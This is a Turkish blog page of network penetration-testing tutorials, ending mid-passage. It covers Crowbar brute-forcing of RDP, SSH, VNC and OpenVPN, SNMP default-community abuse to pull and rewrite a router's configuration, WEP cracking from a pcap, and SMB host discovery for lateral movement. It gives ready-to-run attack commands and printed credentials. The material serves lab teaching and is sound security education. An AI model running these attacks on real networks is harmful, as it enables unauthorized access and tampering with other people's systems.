Network Pentest etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Network Pentest etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

23 Kasım 2014 Pazar

Farklı Bir Kaba Kuvvet Saldırı Aracı: Crowbar (Levye)

Farklı Bir Kaba Kuvvet Saldırı Aracı: Crowbar (Levye)

Günümüzde bilgi sistemlerinin ve internetin yaygınlaşmasıyla bilginin önemi de artmıştır. Bu sebeple, bilgiye yönelik saldırılar artış göstermiş, bu durum da bilgi güvenliğine verilen önemi arttırmıştır. Bir bilgi sistemini korumak için 2 önemli tedbirin alınması bir çok saldırıya karşı koruma sağlamaktadır. İlk tedbir güncelleştirmelerin sağlanması,  ikincisi ise kimlik doğrulama mekanizmasının etkin olarak işletilmesidir.

Neden Crowbar ve Diğer Araçlardan Farkları

Bu yazıda kimlik doğrulamasına karşı saldırı gerçekleştirebilen Crowbar (Levye)  isimli bir araç tanıtılacaktır. Crowbar RDP, SSH, VNC, VPN adlı servislere karşı kimlik doğrulama mekanizmasını kaba kuvvet saldırıları ile atlatmak için kullanılan bir araçtır. Piyasada belirtilen servislere kaba kuvvet saldırılarını gerçekleştirebilen bir çok araç bulunabilir. Ancak, Crowbar aracının diğer araçlardan önemli bir farkı bulunmaktadır. Diğer araçlar kullanıcı adı ve parola ile kaba kuvvet saldırısı gerçekleştirirken, Crowbar ise kimlik doğrulama anahtarlarını kullanarak da kaba kuvvet saldırılarını gerçekleştirebilmektedir. Şöyle ki, bir çok araç SSH servisine kullanıcı adı ve parola ile saldırılar düzenleyebilmektedir. Ancak bazı sistem yöneticileri kullanıcı hesap parolalarını çok karmaşık verebilmektedir. Bu parolaları SSH istemci uygulamalarına (putty gibi) kaydetmemekte ve karmaşıklığı sebebiyle de her defasında bu parolayı girmek istememektedirler. Bu sebeple, SSH anahtarı ile hedef sisteme giriş sağlamayı seçebilmektedirler. Bu gibi bir durumda klasik kaba kuvvet saldırı araçları yetersiz kalabilmekte, SSH anahtarı ile kaba kuvet saldırısı yapabilen bir araca ihtiyaç duyulabilmektedir. Bu ihtiyacı da Crowbar gidermektedir.
Bu yazıda bilgi güvenliği, kimlik doğrulama ve kaba kuvvet saldırıları ile ilgili temel bilgiler verilecek, sonrasında ise Crowbar aracının kullanım alanlarına incelenecektir.

1) Bilgi güvenliği ve Kimlik doğrulama

Bilgi, diğer bütün kurum varlıkları gibi organizasyon için değeri olan ve dikkatle korunması gereken bir varlıktır. Organizasyon tarafından korunması gereken bazı varlıklar şunlar olabilir:

  • Kurumsal bilgiler
  • Müşteri/Tedarikçilere ait bilgiler
  • İnternet üzerinden yayınlanan bilgiler
  • Kurum kullanıcılarına açık bilgi ve servisler
  • Halka açık bilgiler


Bilgi güvenliğinin temelinde Gizlilik (Confidentiality), Bütünlük (Integrity) ve Erişebilirlik (Availability) yatmaktadır. Bu üçlüye kısaca CIA adı verilmektedir. Bu üçlünün yanında temel bilgi güvenliği unsurları şu şekildedir:



CIA gibi en önemli bilgi güvenliği unsurlarından birisi de kimlik doğrulamadır. Kimlik doğrulama (Authentication), kullanıcının sisteme bağlanabilmesi için ilk başta yapılması gereken işlemdir. Sistem kullanımı sırasında cihaz veya kullanıcının kimliğinin doğrulanmasıdır. Bu işlem ile kullanıcının sahip olduğu kimlik bilgisinin sistemde kayıtlı olup olmadığı kontrol edilir. Daha sonra kullanıcıya verilen parola (veya parola gibi kullanılabilecek başka bir veri) da kontrol edilerek doğrulama işlemi yapılır. Doğrulama sağlanırsa kullanıcıya sisteme giriş izni verilir. Bilgisayar ağları ve bilgisayar sistemleri dışında fiziksel sistemler için de çok önemlidir ve bu yüzden çok aşamalı kimlik doğrulama yöntemleri kullanılmaktadır.

2) Çok Aşamalı Kimlik Doğrulama ve Kaba Kuvvet Saldırıları

Kimlik doğrulama mekanizmasını daha etkin hale getirebilmek için çok aşamalı kimlik doğrulama mekanizmasının kullanılması tavsiye edilmektedir. Çok aşamalı kimlik doğrulamanın 3 temel ayağı bulunur.
  • Something you know (Bilinenler): Kullanıcı ile erişmek istediği sistem arasında paylaşılan gizli veriler bu guruba girer. Buna en iyi örnek kullanıcıya ait şifre bilgisidir.
  • Something you have (Sahip olunanlar): Kullanıcılara ait jetonlar (token) da bir çeşit kimlik beliryecisidirler. Bu kimlik belirleyicilerin sahibi olan bir kullanıcı sisteme kimliğini doğrulatabilir. Örnek olarak akıllı kartlar verilebilir.  Bir akıllı kartı kullanarak kimlik doğrulatmak isteyen bir kullanıcı genellikle ek olarak something you know (bilinenler)  bilgisini  (PIN) de ispat etmek zorundadır.
  • Something you are (Olunan):  Bazı sistemler kullanıcıya ait biyolojik özellikleri kimlik doğrulayıcı olarak kullanırlar. Örnek olarak retina taraması, parmak izi, kan örneği ve ses tanımlama verilebilir.

Bu sistemler yaygın olarak kullanılmakla birlikte bazı riskleri de mevcuttur. Örneğin parmak izi okutularak yapılan doğrulamalarda kesin sonuç almak çok zordur, veya ses tanımlama yöntemiyle kimlik doğrulayan sistemler kullanıcının sesi kaydedilerek kolayca atlatılabilir. Buna benzer bir çok sebepten dolayı biometrik kimlik doğrulama yöntemleri kesin sonuç vermeyen ve tam olarak güvenilir olmayan sistemlerdir.

Günümüzde bir çok sistemde, özellikle iç ağda kullanılan sistemlerde, çok aşamalı kimlik doğrulama yerine tek aşamalı kimlik doğrulama kullanılmaktadır. Örneğin bir Windows bilgisayara uzaktan bağlantı kurabilmek için kullanıcı adı ve parola kullanılmaktadır. Benzer olarak bir SSH sunucuya bağlantı için kullanıcı adı ve parola kullanılabildiği gibi sadece bir sertifika da kullanılabilmektedir. Kullanıcı kimlik bilgilerini veya sertifikayı elde eden saldırgan, ek bir önlem alınmamışsa hedef sisteme erişim sağlayabilmektedir. Bu yöntem kaba kuvvet saldırıları için de kullanılabilir. Kaba kuvvet saldırılarıyla, hedef sisteme bir veya birden çok bilgi ile saldırılarak hedef sistemdeki kimlik doğrulama mekanizması atlatılmaya çalışılır.

3) Crowbar Aracı ve Kullanımı

Crowbar aracı diğer araçlardan daha farklı yöntemler kullandığından bahsetmiştik. Bu araç, yazının başında bahsettiğimiz SSH anahtarı örneği haricinde VNC anahtarı, OpenVPN konfigürasyon dosyası kullanarak da kaba kuvvet saldırısı gerçekleştirebilmektedir. Ayrıca NLA (Network Level Authentication) desteği olan uzak masa üstü bağlantısı gerçekleştirilen sistemlere de kaba kuvvet saldırısı gerçekleştirebilmesi bu aracın önemini daha da arttırmaktadır. Bir çok araç, NLA desteği olan Windows işletim sistemi uzak masaüstü bağlantısına kaba kuvvet saldırısı gerçekleştirememektedir. Bu araç bu yönleri ile diğer araçlardan kendini ayırabilmektedir. Ayrıca kaba kuvvet saldırılarını oldukça hızlı bir şekilde gerçekleştirebilmesi de aracın bir diğer önemli özelliğidir.

Crowbar ile RDP kaba kuvvet saldırılarının gerçekleştirilmesi için örnek bir komut aşağıdaki gibidir:
./crowbar.py -b rdp -s 192.168.2.0/24 -U /root/Desktop/userlist -C /root/Desktop/passlist -d


Bu komut ile, 192.168.2.0/24 ağında root kullanıcısının masaüstündeki userlist adlı bir kullanıcı adı dosyası ve passlist adlı bir parola listesi kullanılarak RDP kaba kuvvet saldırısı denemesi gerçekleştirebilmektedir. Ayrıca "-d" parametresi ile öncelikle ilgili ağda RDP servisi açık olan bilgisayarlar keşfedilmekte, sonrasında ise bu servisi açık olan bilgisayarlarda kaba kuvvet saldırısını gerçekleştirmektedirler.

SSH kaba kuvvet saldırısına yönelik bir kullanım örneği de aşağıdaki gibidir:
./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k /root/.ssh/ -d


Bu örnekte ise, sadece root adlı kullanıcı adı ile SSH kaba kuvvet saldırısı denemesi gerçekleştirilmektedir. SSH anahtarı olarak da bir dizinin (/root/.ssh/) tamamı altındaki dosyalar verilmiştir.

VNC kaba kuvvet saldırısına yönelik bir kullanım örneği de aşağıdaki gibidir:
./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -c /root/.vnc/passwd


Bu örnekte ise tek bir IP için (192.168.2.105) VNC kaba kuvvet saldırısı gerçekleştirilmiştir. "-p" seçeneği ile varsayılan VNC servisine ait port yerine başka bir port verilmiştir.
OpenVPN kaba kuvvet saldırısına yönelik bir kullanım örneği de aşağıdaki gibidir:
./crowbar.py -b openvpn -s 198.7.62.204/32 -p 443 -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF


Bu örnekte ise, OpenVPN konfigürasyon dosyası ve erişim sertifikası kullanılarak kimlik bilgileri ile OpenVPN kaba kuvvet saldırısı gerçekleştirilmiştir.

Crowbar aracının ayrıntılı kullanımı için aracın yazarına ait olan blogdaki ilgili yazı  incelenebilir.

4) Sonuç

Sızma testlerinde klasik kaba kuvvet saldırı araçlarının gerçekleştirmediği bir açığı kapatan Crowbar aracı kaba kuvvet kuvvet saldırılarına farklı bir boyut kazandırmıştır. Bu araç ile diğer araçların gerçekleştirmediği yöntemlerle kaba kuvvet işlemleri gerçekleştirmekte ve sızma testleri için önemli bir araç olarak kullanılabilecektir.

Kaynak:
https://www.bilgiguvenligi.gov.tr/sizma-testleri/farkli-bir-kaba-kuvvet-saldiri-araci-crowbar-levye.html

24 Eylül 2014 Çarşamba

Tehlike: Router Üzerinde Varsayılan Topluluk İsminin Bırakılması

Tehlike: Router Üzerinde Varsayılan Topluluk İsminin Bırakılması

SNMPv1 ve SNMPv2 yönetim sırasında kimlik doğrulamayı sağlamak için topluluk ismi (community name) adı verilen bir kimlik doğrulayıcı/şifre kullanır, herhangi bir kullanıcı adı gibi bir kimlik doğrulayıcı kullanılmaz. SNMPv3 ise şifreleme ve mesaj bütünlüğü sağlayarak kimlik doğrulamayı daha güvenilir hale getirmiştir. SNMPv3 ile kimlik doğrulama sırasında kullanıcı adı ve şifre birlikte kullanılarak daha güvenilir bir yapı sunar. Ancak SNMPv3 kullanımı henüz yaygınlaşmamış, SNMPv1 ve özellikle SNMPv2 daha sık kullanılmaktadır. Bu yazıda da eski sürüm SNMP ile kimlik doğrulaması sırasında varsayılan topluluk ismi verilmiş bir Router konfigürasyonu değiştirilecektir.

Önceki bir yazıda GNS3 kullanarak Router konfigürasyonun basit olarak nasıl gerçekleştirilebildiği konusuna değinilmiş ve ayrıca ağ sızma testleri için basit bir lab ortamı hazırlanmıştı. Bu yazıda önceki yazıya benzer bir ortam için ağ sızma testi gerçekleştirilecektir. Yazı 5 adımdan oluşacaktır.
1) Mevcut ortamın incelenecek ve hedef ağa erişimin sağlanamadığı görülecektir.
2) Router keşfedilecektir.
3) Keşfedilen Router üzerinde kullanılan topluluk isimleri belirlenecek ve bu topluluk isimlerine ait erişimler tespit edilecektir.
4) Yazma ve Okuma erişim yetkisi olan topluluk ismi ile Router konfigürasyonu çekilecektir.
5) Elde edilen Router konfigürasyon bilgisi güncellenerek Router'a geri yüklenecektir.

1) Mevcut Durum

Ortamımızda 4 adet bilgisayar bulunmaktadır:

Topoloji temel olarak aşağıdaki gibidir:

  • Saldırgana ait Windows 7 makinesinin IP değeri 192.168.0.10, Kali makinesinin IP değeri ise 192.168.0.11 olarak belirlenmiştir.
  • Kurbana ait Windows 7 makinesinin IP değeri 10.0.0.10 olarak belirlenmiştir.
  • Ubuntu üzerinde kurulu olan Router'ın saldırgan makinelerinin bulunduğu ağa bakan bacağının IP değeri 192.168.0.200, kurban makinesinin bulunduğu ağa bakan bacağının IP değeri 10.0.0.200 olarak belirlenmiştir.

2) Router Keşfi

Router gibi aktif cihazlar birbirleriyle haberleşirken SNMP (Simple Network Management Protocol) kullanırlar. Bu protokol haberleşmesi sırasında UDP'yi kullanır. Router üzerindeki SNMP ajanı da UDP 161 portunu dinler ve gelen taleplere cevap verirler. Ayrıca gelen kesme (SNMP trap) bilgilerini alabilmek için de UDP 162 portunu dinler.

Router keşfi için UDP 161 portu açık olan bilgisayar tespit edilecektir. Bu amaçla Kali üzerindeki nmap aracı kullanılabilir. Port tarama sonucunda 192.168.0.200 IP numaralı makinenin UDP 161. portunun açık olduğu görülmektedir.
nmap 192.168.0.0/24 -sU -p161 --open -Pn -n

3) Topluluk İsimlerinin ve Bu Topluluk İsimlerine Ait Erişimlerin Keşfedilmesi

Bu yazıda kullanılacak Router üzerindeki topluluk isimleri varsaylan olarak okuma işlemleri için Public, okuma ve yazla işlemleri için ise Private olarak belirlenmiştir. Bu değerlerin değiştirilmesi tavsiye edilmesi bir çok durumda değiştirilmemekte veya oldukça karmaşık verilmemektedir. Bu sebeple,  Ruoter'ların konfigürasyon dosyalarına kolay bir şekilde erişim sağlanabilmektedir.

Bu başlıkta topluluk isimlerinin ve erişimlerinin belirlenmesi için 5 yöntem kullanılacaktır.
i) Nmap "snmp-brute" betiği ile topluluk isimleri keşfedilecektir.
ii) MSF "snmp_login" modülü ile topluluk isimleri keşfedilecek ve keşfedilen topluluk isimlerine ait erişim hakları belirlenecektir.
iii) MSF "snmp_enum" modülü ile daha önceden bilinen topluluk isimlerinin okuma izninin olup olmadığı belirlenecektir.
iv) Kali'deki "snmpcheck" aracı ile daha önceden bilinen topluluk isimlerinin okuma ve yazma izninin olup olmadığı belirlenecektir.
v) Kali'deki "snmpwalk" aracı ile daha önceden bilinen topluluk isimlerinin okuma izninin, "snmpset" aracıyla ise yazma izninin olup olmadığı belirlenecektir.

i) Nmap "snmp-brute" betiği
Nmap ile versiyon taraması ve SNMP topluluk ismi için NSE betiği kullanıldığında topluluk isimlerinin varsayılan (Public ve Private) olarak bırakıldığı görülmüştür.
nmap 192.168.0.200 -sU -p161 --open -Pn -n --script=snmp-brute

Eğer bir sözlük oluşturulmuşsa bu sözlük de betiğe argüman olarak verilebilir:
nmap 192.168.0.200 -sU -p161 --open -Pn -n --script=snmp-brute --script-args snmp-brute.communitiesdb=/root/Desktop/ToplulukIsımleri.txt

ii) MSF "snmp_login" modülü
Topluluk isimlerinin keşfi ve erişim yetkilerinin belirlenmesi için MSF modülleri de kullanılabilir. MSF üzerindeki SNMP ile ilgili bilgi toplama modülleri aşağıdaki gibidir:

Bu modüllerden "snmp_login" modülü ile topluluk ismi keşfedilebilir ve bu topluluk isimlerinin erişim yetkisi belirlenebilmektedir. "snmp_login" modülü ilgili seçenekler şu şekildedir:

PASS_FILE seçeneğinde belirtilen sözlükteki tüm topluluk isimleri denendiğinde 2 adet topluluk isminin (Public ve Private) Router üzerinde kullanıldığı tespit edilmiştir. Ayrıca bu topluluk isimlerinin erişim düzeyleri de Public için  sadece Okuma, Private için ise Okuma ve Yazma olduğu görülmektedir.


iii) MSF "snmp_enum" modülü
MSF'e ait bir diğer snmp ile ilgili modül ise "snmp_enum" modülüdür. Bu modül ile, SNMP desteği olan ve topluluk ismi keşfedilen bir araca ait donanım, yazılım, ağ gibi bilgileri elde edilir. Kısacası, örnek Router için enumeration işlemi gerçekleştirilebilir. MSF "snmp_enum" modülünün kullanımı aşağıdaki gibidir:

Elde edilen bilgilerin devamı şu şekildedir:

Diğer bilgiler ise aşağıdaki gibidir:

Not: MSF "snmp_enum" modülüne topluluk ismi olarak "Private" verildiği durumda da aynı sonuçlar dönmektedir.

iv) Kali'deki "snmpcheck" aracı
Topluluk isimlerinin erişimlerinin belirlenmesi için MSF modülleri yerine Kali üzerindeki "snmpcheck" aracı da kullanılabilmektedir.

"Public" topluluk ismi ile Router'a ait SMNP bilgileri elde edilebildiği görülmektedir:

Benzer olarak "Private" topluluk ismi için de bu bilgiler elde edilebilmektedir:

Yazma erişimlerinin kontrolü için "-w" parametresi kullanıldığında ise, "Public" topluluk isminin yazma erişim izni yokken, "Private" topluluk ismi için ise yazma erişim izninin bulunduğu görülmektedir.

v) Kali'deki  "snmpwalk" ve "snmpset" araçları
Kali üzerindeki "snmpwalk" aracıyla SNMP veritabanındaki tüm bilgiler, "snmpcheck" aracına benzer olarak, elde edilebilir. Bu araç ile ilgili ayrıntlı bilgi için "-h" seçeneği eklenir:

Not: "snmpwalk" ile gerçekleştirilen benzer işlemler, "snmpbulkwalk" aracı ile de gerçekleştirilebilir. "snmpbulkwalk" aracı SNMPv1 için çalışmamakla birlikle, SNMPv2 üzerinde oldukça hızlı çalışmaktadır.

Router hakkındaki tüm değişkenler "Public" topluluk ismi ile elde edilebilmiştir:
snmpwalk -v2c -c public 192.168.0.200

Tüm MIB değerleri bu şekilde listelenmektedir:

MIB kavramı için bakınız: http://www.agciyiz.net/index.php/servis-ve-uygulamalar/snmp-nedir/

Benzer şekilde "Private" topluluk ismi ile de aynı bilgiler elde edilebilmektedir.

Tek bir değeri sorgulamak için ise ilgili OID değeri belirtilmelidir.

Böylece, "Public" ve "Private" topluluk isimlerinin okuma izinlerinin olduğu "snmpwalk" aracı ile görülmüştür. Bu topluluk isimlerinin yazma izinlerinin olup olmadığının kontrolü için "snmpset" aracı kullanılır.

4) Router Konfigürasyonuna Erişimin Sağlanması

Önceki başlık altında "Public" topluluk ismi için okuma, "Private" topluluk ismi için ise Okuma/Yazma erişim izinlerinin olduğu görülmüştür. Bu başlıkta ise, Router üzerindeki konfigürasyon bilgileri çekilecektir. Bu işlem 2 farklı yöntem ile gerçekleştirilebilmektedir:
i) Cain & Abel aracı kullanılarak Router konfigürasyon bilgileri elde edilebilir.
ii) MSF "cisco_config_tftp" modülü kullanılarak Router konfigürasyon bilgileri elde edilebilir.

i) Cain & Abel aracı
Cain & Abel aracında CCDU sekmesinde "+" butonuna basıldığında "Cisco Config Downloader" penceresi açılmaktadır. Bu pencerede Router IP bilgisi ve okuma/yazma hakkı olan topluluk ismi verilebilmektedir.

Not: SNMP, UDP üzerinden çalıştığı için konfigürasyon dosyası hemen gelmeyebilir, hata mesajı alınabilir. Bu durumda, işlemi bir kaç kere tekrar etmek gerekebilir.

Böylece konfigürasyon bilgisi elde edilebilmektedir.

Konfigürasyon dosyası varsayılan olarak "C:\Program Files (x86)\Cain\CCDU" dizini altına saklanmaktadır. Bu dosya içeriği aşağıdaki gibidir:

Dosya içeriği özetle aşağıdaki gibidir:
no service password-encryption
!
hostname Router
!
enable password en
!
username cisco privilege 0 password 0 cisco123
username root privilege 15 password 7 0236054818115F33480f
!
interface Ethernet0/0
ip address 192.168.0.200 255.255.255.0
ip access-group 150 in
half-duplex
!
interface Ethernet0/1
ip address 10.0.0.200 255.255.255.0
half-duplex
!
interface Ethernet0/2
no ip address
shutdown
half-duplex
!
interface Ethernet0/3
no ip address
shutdown
half-duplex
!
ip http server
no ip http secure-server
!
access-list 150 deny   ip 192.168.0.0 0.0.0.255 10.0.0.0 0.0.0.255
access-list 150 permit ip any any
snmp-server community private RW
snmp-server community public RO
snmp-server contact HASH(0x90b3d28)
!
line con 0
line aux 0
line vty 0 4
privilege level 15
login local
transport input telnet
!
end

ii) MSF "cisco_config_tftp" modülü
MSF "cisco_config_tftp" modülü kullanılarak da Router konfigürasyon bilgisi elde edilebilir. Modül seçenekleri aşağıdaki gibidir:

Modül seçenekleri ayarlandığında konfigürasyon dosyası çekilebilmektedir.

Konfigürasyon dosyasının içeriği aşağıdaki gibidir:

5) Router Konfigürasyonunun Değiştirilmesi

Konfigürasyon bilgisi elde edildikten sonra Router üzerinde herhangi bir değişiklik yapılabilir. Böylece Router için bir yeni bir kullanıcı oluşturulabilir, bir bağlantı (SSH, Telnet, HTTP gibi) açılabilir veya kurallarda değişiklik yapılarak normalde erişim sağlanamayan bir ağa erişim sağlanabilir. Bu yazı için örnek olarak yazma ve okuma izni olan yeni bir topluluk ismi eklenecektir. Normalde "Public" ve "Private" olmak üzere 2 adet topluluk ismi bulunmaktaydı. Nmap betiği ile sözlük saldırısı gerçekleştirildiğinde sadece "Public" topluluk ismi tespit edilmekteydi. Çünkü sözlükte "Public", "Test" ve "Monitor" anahtar kelimeleri bulunmaktaydı:

Yapılacak konfigürasyon değişikliği ile "Test" adlı topluluk ismi konfigürasyon dosyasına eklenecektir. Gerçekleştirilecek konfigürasyon bilgisi değişikliği temel olarak 3 yol ile olabilir:
i) Cain & Abel aracı ile değiştirilebilir.
ii) MSF "cisco_upload_file" modülü ile değiştirilebilir.
iii) Router komut satırına erişim (Telnet, SSH vs) sağlandıktan sonra değiştirilebilir. 

i) Cain & Abel aracı
Router konfigürasyonunun değişikliği için Cain & Abel aracı kullanılabilir. Önceki adımda elde edilen konfigürasyon bilgisi aşağıdaki gibidir:

Bu dosyaya bir topluluk ismi eklenerek kaydedilmiştir:

Sonrasında da hedef Router'a yüklenecektir. Bu amaçla, Cain & Abel üzerinde değiştirilmiş olan konfigürasyon dosyası seçilerek Upload işlemi gerçekleştirilir.

Not: Bu işlem sorasında "No response from SNMP service" gibi bir hata mesajı ile karşılaşılabbilmektedir. UDP protokolü gereği cevap alınamadığı durumda bu hata mesajı gelebilmektedir. Bir kaç deneme sonrasında işlem başarılı bir şekilde gerçekleşmektedir.

Konfigürasyon değişikliği sonrasında yeni topluluk isminin elde edilebildiği görülmektedir:

ii) MSF "cisco_upload_file" modülü ile
Önceki adımlarda Kali'deki /root/Desktop dizinine konfigürasyon dosyası kaydedilmişti. Bu dosya aşağıdaki gibidir:

Bu dosyaya da benzer şekilde bir topluluk ismi eklenerek kaydedilmiştir:

Sonrasında hedef Router'a yüklenecektir. Bu işlem için MSF üzerindeki "cisco_upload_file" modülü kullanılacaktır. Bu modül ile ilgili seçenekler aşağıdaki gibidir:

Seçenekler ayarlanıp modül çalıştırıldığında yükleme işlemi gerçekleşecektir.

iii) Konsol erişimi ile
Router konsoluna erişim için kullanıcı erişim bilgileri gerekmektedir. Erişim bilgilerinin elde edilmesi için çeşitli yöntemler bulunmaktadır. Bu yöntemler başka bir yazıda incelenecektir.


Kaynak:
[1] https://www.bilgiguvenligi.gov.tr/ag-guvenligi/snmp-guvenligi.html
[2] http://ekaragol.blogspot.com.tr/2014/04/aktif-cihazdan-konfigurasyon-dosyasnn.html
[3] https://www.m00nie.com/type-7-password-tool/
[4] https://community.rapid7.com/community/metasploit/blog/2010/12/17/cisco-ios-penetration-testing-with-metasploit
[5] http://www.offensive-security.com/metasploit-unleashed/SNMP_Sweeping
[6] http://carnal0wnage.attackresearch.com/2011/03/new-snmp-metasploit-modules.html
[7] https://community.rapid7.com/community/infosec/blog/2013/03/07/video-tutorial-introduction-to-pen-testing-simple-network-management-protocol-snmp

16 Eylül 2014 Salı

GNS3 ile Sızma Testi Eğitim Ortamının Hazırlanması

GNS3 ile Sızma Testi Eğitim Ortamının Hazırlanması


GNS3, Cisco, Juniper gibi ağ cihazı üreticilerinin ürünleri simüle edebilen açık kaynak kodlu bir uygulamadır. Bu yazıda GNS3 ile sanal bir Cisco Router oluşturulacak ve Cisco konfigürasyonları temel komutlar gösterilecektir. Bu sanal Router veya benzer ayarlar yapılmış bir Router sonraki yazılarda ağ sızma testleri için kullanılacaktır.

Yazının devamı için bakınız:
http://www.siberportal.org/green-team/constructing-network-environment/preparing-and-configuring-virtual-router-using-gns3/

21 Aralık 2013 Cumartesi

İpucu: Uygulamalı WEP Parolası Kırma, Şifre Çözme ve PCAP içerisinden Dosya Çıkarma

Uygulamalı WEP Parolası Kırma, Şifre Çözme ve PCAP içerisinden Dosya Çıkarma

Bu notta uygulamalı olarak WEP kullanılarak şifrelenmiş kablosuz bir ağ iletişimine ait pcap dosyası kullanılarak WEP parolasının elde edilmesi, bu parolanın kullanılarak pcap dosyasının şifresinin çözülmesi ve içerisindeki tcp akışındaki dosyasının çıkartılması ele alınacaktır. Öncelikle gerekli pcap dosyası bağlantıdan temin edilebilir.

tcpdump aracı ile pcap dosyasının içeriğine bakıldığı WEP ile şifrelenmiş bir iletişime ait olduğu ve içerisinde IV paketleri içerdiği görülebilir.
# tcpdump -nvr hc3.pcap-04.cap -c10
reading from file hc3.pcap-04.cap, link-type IEEE802_11 (802.11)
16:19:41.145465 0us Beacon (home) [1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 Mbit] ESS CH: 6, PRIVACY
16:19:43.507896 0us Acknowledgment RA:e0:f8:47:2e:93:3e
16:19:44.468986 0us Acknowledgment RA:e0:f8:47:2e:93:3e
16:19:54.341047 0us Acknowledgment RA:e4:ce:8f:3e:91:68
16:19:54.348727 WEP Encrypted 48us Data IV:6804a7 Pad 0 KeyID 0
16:19:54.485431 0us Acknowledgment RA:e4:ce:8f:3e:91:68
16:19:54.485431 0us Acknowledgment RA:e4:ce:8f:3e:91:68
16:19:54.487991 WEP Encrypted 48us Data IV:6804a9 Pad 0 KeyID 0
16:19:56.359991 WEP Encrypted 48us Data IV:6804ab Pad 0 KeyID 0

16:19:57.491514 0us Acknowledgment RA:e0:f8:47:2e:93:3e
Dosya içerisinde hangi SSID değerlerine sahip ağların bulunduğunun tespiti için tcpdump, tshark veya pyrit araçları aşağıdaki şekillerde kullanılabilir:
# tcpdump -nnr hc3.pcap-04.cap '((type mgt subtype beacon) or (type mgt subtype probe-req))' | head
# tshark -r hc3.pcap-04.cap | grep SSID
#  pyrit -r hc3.pcap-04.cap analyze | grep AccessPoint | cut -d \' -f2 | sort
50,000 ve üzeri IV paketinin toplanması ile herhangi bir WEP parolası saniyeler içerisinde kırılabilir. Bunun için aircrack aracından faydalanılabilir.
# aircrack-ng hc3.pcap-04.cap
Opening hc3.pcap-04.cap
Read 208428 packets.
   #  BSSID                      ESSID                     Encryption
   1  00:1A:70:4C:BB:76  home                      WEP (50757 IVs)
Choosing first network as target.
Opening hc3.pcap-04.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 50757 ivs.
                                                  Aircrack-ng 1.1 r2178
                                  [00:00:00] Tested 861 keys (got 50459 IVs)
   KB    depth   byte(vote)
    0    0/ 13   28(63744) A8(60928) 86(58880) C7(58880) 3D(58624) A4(58112) 53(57856) 5B(57856)
    1    0/  1   57(76544) 0F(60928) 34(59392) 5B(58880) D4(57856) DF(57856) 4D(57344) 66(57344)
    2    1/  2   1E(61952) A8(59648) 67(59136) 03(58624) 5F(58368) 61(58368) 91(58368) 3A(58112)
    3    0/  1   B4(75264) 31(61184) 7F(60416) 66(58112) 83(57856) 9F(57856) A2(57600) D6(57600)
    4    9/  4   F9(58368) 07(57856) EF(57856) FF(57856) 3B(57600) 6E(57344) 93(57344) E7(57088)
             KEY FOUND! [ 28:E6:6B:E9:D3:B6:20:95:DD:E9:2F:BE:37 ]
        Decrypted correctly: 100%
Mevcut pcap dosyasının şifresinin çözülmüş halini elde etmek için airdecap uygulaması kullanılabilir.
# airdecap-ng hc3.pcap-04.cap -w 28:E6:6B:E9:D3:B6:20:95:DD:E9:2F:BE:37
Total number of packets read        208428
Total number of WEP data packets     96367
Total number of WPA data packets         0
Number of plaintext data packets         0
Number of decrypted WEP  packets     96367
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0
airdecap ile şifresi çözülen pcap dosyası sonucunda aynı dizin altında hc3.pcap-04-dec.cap adı altında decrypt edilmiş yeni bir dosya oluşacaktır.
# ls hc3.pcap-04*
hc3.pcap-04.cap  hc3.pcap-04-dec.cap
Wireshark uygulamasındaki "follow tcp stream" seçeneği ile pcap içerisinde dosya görülebileceği ve çıkartılabileceği gibi Backtrack içerisindeki tcpxtract uygulaması ile de hedef dosya elde edilebilir.
# tcpxtract -f hc3.pcap-04-dec.cap
Found file of type "zip" in session [192.168.0.122:26817 -> 2.2.2.2:20228], exporting to 00000000.zip
# file 00000000.zip
00000000.zip: Zip archive data, at least v1.0 to extract
Yine aynı pcap dosyası içerisindeki e-posta içeriğindeki base64 kodlanmış parolanın aşağıdaki şekilde geri elde edilmesi ile zip dosyasının da açılması mümkündür.
# echo "dGhlIHBhc3N3b3JkIGlzIGJvc3Rvbk1BMTk3Nwo=" | base64 -d
Kaynak:
http://www.agguvenligi.net/2013/01/uygulamal-wep-parolas-krma-sifre-cozme.html
https://sickbits.net/hack3rcon3-the-xrg-ctf-challenge-4-solution-decrypt-pcap-wep-extract-file/

2 Ekim 2013 Çarşamba

İpucu: smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi


smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi

Amaç
  • Port taraması ile SMB (Server Message Block protokolü) dosya paylaşımını sağlayan TCP 445. portu açık olan makineler bulunacaktır.
  • Elde edilen bir yerel kullanıcı hesap bilgilerinin, organizasyondaki diğer makinelerde de yetkili olup olmadığı belirlenecektir.

Yöntem
Önceki adım ile elimizde sadece bir makinede yerel yönetici hesabı dahil olmak üzere yerel kullanıcı hesaplarına ait şifrenin özeti bulunmaktadır:

Hedef makinedeki kullanıcıların şifre özetlerinin listelenmesi

Bu özet halindeki şifreyi ve Administrator (yerel yönetici) kullanıcısı kullanarak, diğer makinelere de girilmeye ve böylece organizasyondaki diğer makinelere yayılım gerçekleşecektir. Yayılım işlemi; port taraması yapıldıktan sonra veya direk olarak zafiyetle ilgili modül kullanılarak gerçekleştirilebilir.
SMB dosya paylaşım portu (TCP/445) açık olan makinelerin bulunması nmap komutu ile (veya Zenmap kullanarak) gerçekleştirilebilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open
nmap komutu ile 445. portu açık olan makinelerin tespit edilmesi

Büyük bir ağda çok uzun bir sonuç gelebileceğinden sadece IP’lerin alınmasını isteyebiliriz. Bunun için düzenli ifadeler (regex) kullanılabilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep -oE '.*((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'
veya
